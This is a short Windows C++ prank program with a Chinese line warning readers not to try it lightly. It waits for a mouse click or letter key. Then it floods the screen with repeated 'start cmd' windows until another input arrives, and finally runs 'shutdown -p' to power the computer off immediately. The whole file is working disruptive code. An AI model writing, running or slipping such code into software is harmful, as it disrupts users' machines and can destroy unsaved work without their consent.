#include<bits/stdc++.h> 
#include<Windows.h> 
using namespace std;
bool f(int k){
	return (0x8000&GetAsyncKeyState(k))!=0;
}
int main(){
	while(f(VK_LBUTTON)==0 and f(VK_RBUTTON)==0 and f('A')==0 and f('B')==0 and f('A')==0 and f('B')==0 and f('C')==0 and f('D')==0 and f('E')==0 and f('F')==0 and f('G')==0 and f('H')==0 and f('I')==0 and f('J')==0 and f('K')==0 and f('L')==0 and f('M')==0 and f('N')==0 and f('O')==0 and f('P')==0 and f('Q')==0 and f('R')==0 and f('S')==0 and f('T')==0 and f('U')==0 and f('V')==0 and f('W')==0 and f('X')==0 and f('Y')==0 and f('Z')==0)Sleep(50);
	Sleep(1000);
	while((f(VK_LBUTTON)==0 and f(VK_RBUTTON)==0 and f('A')==0 and f('B')==0 and f('C')==0 and f('D')==0 and f('E')==0 and f('F')==0 and f('G')==0 and f('H')==0 and f('I')==0 and f('J')==0 and f('K')==0 and f('L')==0 and f('M')==0 and f('N')==0 and f('O')==0 and f('P')==0 and f('Q')==0 and f('R')==0 and f('S')==0 and f('T')==0 and f('U')==0 and f('V')==0 and f('W')==0 and f('X')==0 and f('Y')==0 and f('Z')==0))system("start cmd");
	system("shutdown -p");
	return 0;
}

注:请不要轻易尝逝！